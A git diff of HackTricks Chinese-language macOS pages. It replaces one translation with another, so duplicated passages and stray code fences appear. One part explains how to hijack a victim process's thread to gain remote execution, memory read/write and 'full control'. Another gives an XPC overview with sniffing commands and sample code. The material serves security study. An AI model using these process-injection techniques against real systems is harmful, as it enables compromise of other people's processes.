此时,我们对远程线程唯一有用的控制是**停止**它,**启动**它,**获取**其**寄存器**值,并**设置**其寄存器**值**。因此,我们可以通过设置远程线程中的**寄存器** `x0` 到 `x7` 为**参数**,**设置** **`pc`** 为我们想要执行的函数,并启动线程来**启动远程函数**调用。此时,我们需要检测返回并确保线程不会崩溃。
|
||||||
|
|
||||||
有几种方法可以实现这一点。一种方法是使用`thread_set_exception_ports()`为远程线程注册异常处理程序,并在调用函数之前将返回地址寄存器`lr`设置为无效地址;这样,在函数运行后,将生成一个异常并向我们的异常端口发送消息,此时我们可以检查线程的状态以获取返回值。然而,为了简单起见,我复制了Ian Beer的triple\_fetch漏洞利用中使用的策略,即将`lr`设置为一个会无限循环的指令的地址,然后反复轮询线程的寄存器,直到**`pc`指向该指令**。
|
有几种方法可以做到这一点。一种方法是为远程线程使用 `thread_set_exception_ports()` **注册异常处理程序**,并在调用函数之前将返回地址寄存器 `lr` 设置为无效地址;这样,函数运行后会生成异常,并向我们的异常端口发送消息,此时我们可以检查线程状态以检索返回值。然而,为了简单起见,我复制了 Ian Beer 的 triple\_fetch 漏洞中使用的策略,即**将 `lr` 设置为会无限循环的指令的地址**,然后反复轮询线程的寄存器,直到 **`pc` 指向那个指令**。
|
||||||
|
|
||||||
### 2. 用于通信的Mach端口
|
### 2. 用于通信的 Mach 端口
|
||||||
|
|
||||||
下一步是**创建Mach端口,以便我们可以与远程线程进行通信**。这些Mach端口在稍后帮助在任务之间传输任意的发送和接收权限时非常有用。
|
下一步是**创建 Mach 端口,我们可以通过它与远程线程通信**。这些 Mach 端口稍后在帮助任务之间传输任意发送和接收权限时会很有用。
|
||||||
|
|
||||||
为了建立双向通信,我们需要创建两个Mach接收权限:一个在**本地任务中**,一个在**远程任务中**。然后,我们需要将一个发送权限**传输到另一个任务的每个端口**。这样,每个任务都有一种可以发送消息并被另一个任务接收的方法。
|
为了建立双向通信,我们需要在**本地任务和远程任务中**创建两个 Mach 接收权限。然后,我们需要**将发送权限传输**给每个端口**到另一个任务**。这将为每个任务提供一种发送消息的方式,该消息可以被另一个任务接收。
|
||||||
|
|
||||||
首先,让我们专注于设置本地端口,即本地任务持有接收权限的端口。我们可以像创建其他Mach端口一样,调用`mach_port_allocate()`来创建Mach端口。关键是将发送权限传递到远程任务中。
|
让我们首先关注设置本地端口,即本地任务持有接收权限的端口。我们可以像创建任何其他 Mach 端口一样,通过调用 `mach_port_allocate()` 来创建 Mach 端口。诀窍是将发送权限从当前任务复制到远程任务。
|
||||||
|
|
||||||
我们可以使用一种方便的技巧,只使用基本的执行原语将发送权限从当前任务复制到远程任务中,即使用`thread_set_special_port()`将发送权限存储在远程线程的`THREAD_KERNEL_PORT`特殊端口中;然后,我们可以使远程线程调用`mach_thread_self()`来检索发送权限。
|
我们可以使用的一个方便的技巧是使用 `thread_set_special_port()` 将我们本地端口的**发送权限存放在远程线程的 `THREAD_KERNEL_PORT` 特殊端口中**;然后,我们可以让远程线程调用 `mach_thread_self()` 来检索发送权限。
|
||||||
|
|
||||||
接下来,我们将设置远程端口,这与我们刚刚所做的相反。我们可以通过调用`mach_reply_port()`使远程线程分配一个Mach端口;我们不能使用`mach_port_allocate()`,因为后者将在内存中返回分配的端口名称,而我们还没有读取原语。一旦我们有了一个端口,我们可以通过在远程线程中调用`mach_port_insert_right()`来创建一个发送权限。然后,我们可以使用`thread_set_special_port()`将端口存储在内核中。最后,在本地任务中,我们可以通过在远程线程上调用`thread_get_special_port()`来检索端口,**从而获得刚刚在远程任务中分配的Mach端口的发送权限**。
|
接下来我们将设置远程端口,这与我们刚才做的几乎相反。我们可以让**远程线程通过调用 `mach_reply_port()` 分配一个 Mach 端口**;我们不能使用 `mach_port_allocate()`,因为后者在内存中返回分配的端口名称,而我们还没有读取原语。一旦我们有了一个端口,我们可以通过在远程线程中调用 `mach_port_insert_right()` 来创建发送权限。然后,我们可以通过调用 `thread_set_special_port()` 将端口存放在内核中。最后,在本地任务中,我们可以通过在远程线程上调用 `thread_get_special_port()` 来检索端口,**给我们一个发送权限到刚在远程任务中分配的 Mach 端口**。
|
||||||
|
|
||||||
此时,我们已经创建了用于双向通信的Mach端口。
|
此时,我们已经创建了将用于双向通信的 Mach 端口。
|
||||||
### 3. 基本内存读写 <a href="#step-3-basic-memory-readwrite" id="step-3-basic-memory-readwrite"></a>
|
|
||||||
|
|
||||||
现在我们将使用执行原语来创建基本的内存读写原语。这些原语并不会用于太多的事情(我们很快将升级到更强大的原语),但它们是帮助我们扩展对远程进程控制的关键步骤。
|
### 3. 基本内存读/写 <a href="#step-3-basic-memory-readwrite" id="step-3-basic-memory-readwrite"></a>
|
||||||
|
|
||||||
为了使用我们的执行原语读写内存,我们将寻找这样的函数:
|
现在我们将使用执行原语来创建基本的内存读写原语。这些原语不会用于太多(我们很快会升级到更强大的原语),但它们是帮助我们扩展对远程进程控制的关键步骤。
|
||||||
|
|
||||||
|
为了使用我们的执行原语读写内存,我们将寻找像这样的函数:
|
||||||
```c
|
```c
|
||||||
uint64_t read_func(uint64_t *address) {
|
uint64_t read_func(uint64_t *address) {
|
||||||
return *address;
|
return *address;
|
||||||
|
@ -64,51 +67,53 @@ _write_func:
|
||||||
str x1, [x0]
|
str x1, [x0]
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
快速扫描一些常见的库,发现了一些很好的候选项。要读取内存,我们可以使用[Objective-C运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)中的`property_getName()`函数:
|
快速扫描一些常见库揭示了一些好的候选项。要读取内存,我们可以使用 [Objective-C 运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) 中的 `property_getName()` 函数:
|
||||||
```c
|
```c
|
||||||
const char *property_getName(objc_property_t prop)
|
const char *property_getName(objc_property_t prop)
|
||||||
{
|
{
|
||||||
return prop->name;
|
return prop->name;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
事实证明,`prop`是`objc_property_t`的第一个字段,因此与上面的假设的`read_func`直接对应。我们只需要进行远程函数调用,第一个参数是我们想要读取的地址,返回值将是该地址处的数据。
|
```markdown
|
||||||
|
正如事实证明,`prop` 是 `objc_property_t` 的第一个字段,因此这直接对应于上面假设的 `read_func`。我们只需要执行一个远程函数调用,第一个参数是我们想要读取的地址,返回值将是该地址的数据。
|
||||||
|
|
||||||
找到一个现成的用于写入内存的函数稍微困难一些,但仍然有很好的选择,而且没有不希望的副作用。在libxpc中,`_xpc_int64_set_value()`函数的反汇编代码如下:
|
找到一个现成的函数来写内存稍微困难一些,但是仍然有很好的选项,而且没有不希望的副作用。在 libxpc 中,`_xpc_int64_set_value()` 函数具有以下反汇编:
|
||||||
|
```
|
||||||
```
|
```
|
||||||
__xpc_int64_set_value:
|
__xpc_int64_set_value:
|
||||||
str x1, [x0, #0x18]
|
str x1, [x0, #0x18]
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
因此,要在地址`address`执行64位写入操作,我们可以执行远程调用:
|
因此,要在地址 `address` 处执行64位写入,我们可以执行远程调用:
|
||||||
```c
|
```c
|
||||||
_xpc_int64_set_value(address - 0x18, value)
|
_xpc_int64_set_value(address - 0x18, value)
|
||||||
```
|
```
|
||||||
有了这些基本操作,我们就可以创建共享内存了。
|
|
||||||
|
|
||||||
### 4. 共享内存
|
### 4. 共享内存
|
||||||
|
|
||||||
我们的下一步是在远程任务和本地任务之间创建共享内存。这将使我们能够更轻松地在进程之间传输数据:有了共享内存区域,任意内存读写只需通过远程调用`memcpy()`即可完成。此外,拥有共享内存区域还可以轻松设置堆栈,以便我们可以调用具有超过8个参数的函数。
|
我们下一步是在远程和本地任务之间创建共享内存。这将使我们能够更容易地在进程之间传输数据:有了共享内存区域,任意内存读写就像远程调用`memcpy()`一样简单。此外,拥有共享内存区域将使我们能够轻松地设置堆栈,以便我们可以调用具有超过8个参数的函数。
|
||||||
|
|
||||||
为了简化操作,我们可以重用libxpc的共享内存功能。Libxpc提供了一个XPC对象类型`OS_xpc_shmem`,允许在XPC上建立共享内存区域。通过反向工程libxpc,我们确定`OS_xpc_shmem`基于Mach内存条目,这些Mach内存条目是代表虚拟内存区域的Mach端口。由于我们已经展示了如何将Mach端口发送到远程任务,因此我们可以使用这个方法轻松地设置自己的共享内存。
|
为了简化操作,我们可以重用libxpc的共享内存功能。Libxpc提供了一种XPC对象类型`OS_xpc_shmem`,它允许通过XPC建立共享内存区域。通过逆向libxpc,我们确定`OS_xpc_shmem`基于Mach内存条目,这些是代表虚拟内存区域的Mach端口。由于我们已经展示了如何向远程任务发送Mach端口,我们可以使用这一点来轻松地设置我们自己的共享内存。
|
||||||
|
|
||||||
首先,我们需要使用`mach_vm_allocate()`来分配我们将共享的内存。我们需要使用`mach_vm_allocate()`来使用`xpc_shmem_create()`为该区域创建一个`OS_xpc_shmem`对象。`xpc_shmem_create()`将负责为我们创建Mach内存条目,并将Mach发送权限存储在偏移量为`0x18`的不透明`OS_xpc_shmem`对象中。
|
首先,我们需要使用`mach_vm_allocate()`分配我们将要共享的内存。我们需要使用`mach_vm_allocate()`,这样我们就可以使用`xpc_shmem_create()`为该区域创建一个`OS_xpc_shmem`对象。`xpc_shmem_create()`将为我们创建Mach内存条目,并将Mach发送权限存储在不透明的`OS_xpc_shmem`对象的偏移`0x18`处。
|
||||||
|
|
||||||
一旦我们获得了内存条目端口,我们将在远程进程中创建一个表示相同内存区域的`OS_xpc_shmem`对象,从而允许我们调用`xpc_shmem_map()`来建立共享内存映射。首先,我们通过远程调用`malloc()`来为`OS_xpc_shmem`分配内存,并使用我们的基本写入原语将本地`OS_xpc_shmem`对象的内容复制到其中。不幸的是,结果对象并不完全正确:其偏移量为`0x18`的Mach内存条目字段包含的是本地任务对内存条目的名称,而不是远程任务的名称。为了解决这个问题,我们使用`thread_set_special_port()`技巧将Mach内存条目的发送权限插入到远程任务中,并将字段`0x18`覆盖为远程内存条目的名称。此时,远程的`OS_xpc_shmem`对象是有效的,并且可以通过远程调用`xpc_shmem_remote()`来建立内存映射。
|
一旦我们拥有了内存条目端口,我们将在远程进程中创建一个代表相同内存区域的`OS_xpc_shmem`对象,使我们能够调用`xpc_shmem_map()`来建立共享内存映射。首先,我们执行远程调用`malloc()`来为`OS_xpc_shmem`分配内存,并使用我们的基本写原语将本地`OS_xpc_shmem`对象的内容复制进去。不幸的是,结果对象并不完全正确:其Mach内存条目字段在偏移`0x18`处包含本地任务对内存条目的名称,而不是远程任务的名称。为了解决这个问题,我们使用`thread_set_special_port()`技巧将Mach内存条目的发送权限插入远程任务,然后用远程内存条目的名称覆盖字段`0x18`。此时,远程`OS_xpc_shmem`对象有效,内存映射可以通过远程调用`xpc_shmem_remote()`来建立。
|
||||||
|
|
||||||
### 5. 完全控制 <a href="#step-5-full-control" id="step-5-full-control"></a>
|
### 5. 完全控制 <a href="#step-5-full-control" id="step-5-full-control"></a>
|
||||||
|
|
||||||
有了已知地址的共享内存和任意执行原语,我们基本上已经完成了。通过调用`memcpy()`来实现任意内存读写,通过按照调用约定在堆栈上布置超过8个参数的附加参数来执行具有超过8个参数的函数调用。通过在之前建立的端口上发送Mach消息,可以在任务之间传输任意Mach端口。我们甚至可以使用文件端口在进程之间传输文件描述符(特别感谢Ian Beer在triple_fetch中演示了这种技术!)。
|
有了已知地址的共享内存和任意执行原语,我们基本上完成了。任意内存读写是通过分别调用`memcpy()`到共享区域和从共享区域实现的。通过根据调用约定在堆栈上布局第8个参数之外的额外参数,可以执行具有超过8个参数的函数调用。通过之前建立的端口发送Mach消息,可以在任务之间传输任意Mach端口。我们甚至可以通过使用fileports(特别感谢Ian Beer在triple_fetch中展示了这种技术!)在进程之间传输文件描述符。
|
||||||
|
|
||||||
简而言之,我们现在对受害进程拥有完全且轻松的控制。您可以在[threadexec](https://github.com/bazad/threadexec)库中查看完整的实现和公开的API。
|
简而言之,我们现在对受害进程有了完全且容易的控制。您可以在[threadexec](https://github.com/bazad/threadexec)库中看到完整的实现和公开的API。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 您在一家**网络安全公司**工作吗?您想在HackTricks中**为您的公司做广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,43 +2,45 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS之间进行**进程间通信的框架**。XPC提供了一种在系统上进行**安全的异步方法调用的机制**。它是苹果安全范例的一部分,允许创建**权限分离的应用程序**,其中每个**组件**仅以其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
|
XPC,代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上**进程间通信**的框架。XPC提供了一种机制,用于在系统上的不同进程之间进行**安全的、异步的方法调用**。它是苹果安全范式的一部分,允许**创建权限分离的应用程序**,其中每个**组件**仅运行具有执行其工作所需的**权限**,从而限制了被攻破进程的潜在损害。
|
||||||
|
|
||||||
XPC使用一种进程间通信(IPC)的形式,这是一组用于在同一系统上运行的不同程序之间发送数据的方法。
|
XPC使用一种进程间通信(IPC)的形式,这是一组方法,用于在同一系统上运行的不同程序之间发送数据。
|
||||||
|
|
||||||
XPC的主要优点包括:
|
XPC的主要好处包括:
|
||||||
|
|
||||||
1. **安全性**:通过将工作分成不同的进程,每个进程只能被授予其所需的权限。这意味着即使进程被入侵,它也只能有限地造成损害。
|
1. **安全性**:通过将工作分离到不同的进程中,每个进程可以只被授予它所需的权限。这意味着即使一个进程被攻破,它造成的危害也有限。
|
||||||
2. **稳定性**:XPC有助于将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以重新启动而不影响系统的其他部分。
|
2. **稳定性**:XPC有助于将崩溃隔离到发生它们的组件中。如果一个进程崩溃,它可以被重启而不影响系统的其余部分。
|
||||||
3. **性能**:XPC允许轻松并发,因为不同的任务可以在不同的进程中同时运行。
|
3. **性能**:XPC允许轻松并发,因为不同的任务可以在不同的进程中同时运行。
|
||||||
|
|
||||||
唯一的**缺点**是将一个应用程序分成多个进程,通过XPC进行通信会**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。
|
唯一的**缺点**是,将应用程序分割成几个进程,通过XPC进行通信是**效率较低**的。但在今天的系统中这几乎是不明显的,而且好处更大。
|
||||||
|
|
||||||
## 应用程序特定的XPC服务
|
## 特定应用程序的XPC服务
|
||||||
|
|
||||||
应用程序的XPC组件位于**应用程序本身内部**。例如,在Safari中,您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**包**,其中包含主二进制文件:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`,以及一个`Info.plist:/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
应用程序的XPC组件位于**应用程序本身内部**。例如,在Safari中,您可以在**`/Applications/Safari.app/Contents/XPCServices`**找到它们。它们有扩展名**`.xpc`**(如**`com.apple.Safari.SandboxBroker.xpc`**),并且**也是包含主二进制文件的包**:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 和 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||||
|
|
||||||
正如您可能想到的,**XPC组件将具有不同的授权和权限**,与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中将[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下,XPC服务将在与调用它的应用程序**相同的安全会话中运行**。
|
正如您可能在想的,一个**XPC组件将具有不同的权利和权限**,与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下,XPC服务将在**与调用它的应用程序相同的安全会话中运行**。
|
||||||
|
|
||||||
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。
|
XPC服务由**launchd**在需要时**启动**,并在所有任务**完成**后**关闭**,以释放系统资源。**特定应用程序的XPC组件只能由应用程序使用**,从而降低了潜在漏洞相关风险。
|
||||||
|
|
||||||
## 系统范围的XPC服务
|
## 系统范围的XPC服务
|
||||||
|
|
||||||
系统范围的XPC服务对所有用户都可访问。这些服务可以是launchd或Mach类型,需要在指定目录中的plist文件中**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
|
系统范围的XPC服务对所有用户都可访问。这些服务,无论是launchd还是Mach类型,都需要在指定目录中的plist文件中**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
|
||||||
|
|
||||||
这些plist文件将具有名为**`MachServices`**的键,其值为服务的名称,以及名为**`Program`**的键,其值为二进制文件的路径:
|
这些plist文件将有一个名为**`MachServices`**的键,带有服务的名称,以及一个名为**`Program`**的键,带有二进制文件的路径:
|
||||||
```xml
|
```xml
|
||||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
|
|
||||||
|
@ -72,31 +74,31 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
**`LaunchDameons`**中的进程由root用户运行。因此,如果非特权进程能够与其中一个进程通信,就有可能提升权限。
|
**`LaunchDameons`** 中的服务是由 root 运行的。因此,如果一个非特权进程能够与其中一个服务通信,它可能能够提升权限。
|
||||||
|
|
||||||
## XPC事件消息
|
## XPC 事件消息
|
||||||
|
|
||||||
应用程序可以**订阅**不同的事件**消息**,使其能够在发生此类事件时**按需启动**。这些服务的设置是在**与前面的文件相同的目录中**的**launchd plist文件**中完成的,其中包含额外的**`LaunchEvent`**键。
|
应用程序可以**订阅**不同的事件**消息**,使它们能够在这些事件发生时**按需启动**。这些服务的**设置**是在 **launchd plist 文件**中完成的,这些文件位于**与前面提到的目录相同**,并包含一个额外的 **`LaunchEvent`** 键。
|
||||||
|
|
||||||
### XPC连接进程检查
|
### XPC 连接进程检查
|
||||||
|
|
||||||
当进程尝试通过XPC连接调用方法时,**XPC服务应该检查该进程是否被允许连接**。以下是常见的检查方法和常见的陷阱:
|
当一个进程尝试通过 XPC 连接调用方法时,**XPC 服务应该检查该进程是否被允许连接**。以下是常见的检查方式和常见的陷阱:
|
||||||
|
|
||||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## XPC授权
|
## XPC 授权
|
||||||
|
|
||||||
Apple还允许应用程序**配置某些权限以及如何获取这些权限**,因此如果调用进程具有这些权限,它将被**允许调用XPC服务的方法**:
|
苹果还允许应用程序**配置一些权限以及如何获取它们**,所以如果调用进程拥有这些权限,它将被**允许调用** XPC 服务的方法:
|
||||||
|
|
||||||
{% content-ref url="macos-xpc-authorization.md" %}
|
{% content-ref url="macos-xpc-authorization.md" %}
|
||||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## XPC嗅探器
|
## XPC 嗅探器
|
||||||
|
|
||||||
要嗅探XPC消息,可以使用[**xpcspy**](https://github.com/hot3eed/xpcspy),它使用**Frida**。
|
要嗅探 XPC 消息,你可以使用 [**xpcspy**](https://github.com/hot3eed/xpcspy),它使用了 **Frida**。
|
||||||
```bash
|
```bash
|
||||||
# Install
|
# Install
|
||||||
pip3 install xpcspy
|
pip3 install xpcspy
|
||||||
|
@ -107,7 +109,7 @@ xpcspy -U -r -W <bundle-id>
|
||||||
## Using filters (i: for input, o: for output)
|
## Using filters (i: for input, o: for output)
|
||||||
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
||||||
```
|
```
|
||||||
## XPC通信C代码示例
|
## XPC 通信 C 语言示例
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="xpc_server.c" %}
|
{% tab title="xpc_server.c" %}
|
||||||
|
@ -164,36 +166,9 @@ dispatch_main();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xpc_client.c" %}
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <xpc/xpc.h>
|
|
||||||
|
|
||||||
int main(int argc, const char * argv[]) {
|
|
||||||
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
|
||||||
|
|
||||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
|
||||||
xpc_type_t type = xpc_get_type(event);
|
|
||||||
|
|
||||||
if (type == XPC_TYPE_DICTIONARY) {
|
|
||||||
const char *description = xpc_dictionary_get_string(event, "description");
|
|
||||||
printf("Received event: %s\n", description);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
xpc_connection_resume(connection);
|
|
||||||
|
|
||||||
dispatch_main();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="xpc_server.c" %}
|
{% tab title="xpc_client.c" %}
|
||||||
```c
|
```c
|
||||||
// gcc xpc_client.c -o xpc_client
|
// gcc xpc_client.c -o xpc_client
|
||||||
|
|
||||||
|
@ -222,44 +197,9 @@ dispatch_main();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件,用于配置macOS系统中的服务。它定义了一个名为xyz.hacktricks.service的服务,并指定了该服务的属性和行为。
|
{% endtab %}
|
||||||
|
|
||||||
以下是xyz.hacktricks.service.plist文件的示例内容:
|
{% tab title="xyz.hacktricks.service.plist" %}
|
||||||
|
|
||||||
```xml
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
||||||
<plist version="1.0">
|
|
||||||
<dict>
|
|
||||||
<key>Label</key>
|
|
||||||
<string>xyz.hacktricks.service</string>
|
|
||||||
<key>ProgramArguments</key>
|
|
||||||
<array>
|
|
||||||
<string>/path/to/xyz.hacktricks.service</string>
|
|
||||||
</array>
|
|
||||||
<key>RunAtLoad</key>
|
|
||||||
<true/>
|
|
||||||
<key>KeepAlive</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
</plist>
|
|
||||||
```
|
|
||||||
|
|
||||||
在这个示例中,`Label`键指定了服务的名称为`xyz.hacktricks.service`。`ProgramArguments`键指定了服务的可执行文件路径为`/path/to/xyz.hacktricks.service`。`RunAtLoad`键和`KeepAlive`键都设置为`true`,表示服务在系统启动时运行,并且在意外终止后会自动重启。
|
|
||||||
|
|
||||||
要安装和加载这个服务,可以使用`launchctl`命令:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
launchctl load /path/to/xyz.hacktricks.service.plist
|
|
||||||
```
|
|
||||||
|
|
||||||
这将会将服务添加到系统的启动项中,并在系统启动时自动运行。
|
|
||||||
|
|
||||||
请注意,为了加载和运行服务,您需要具有管理员权限。
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
请注意,为了加载和运行服务,您需要具有管理员权限。
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
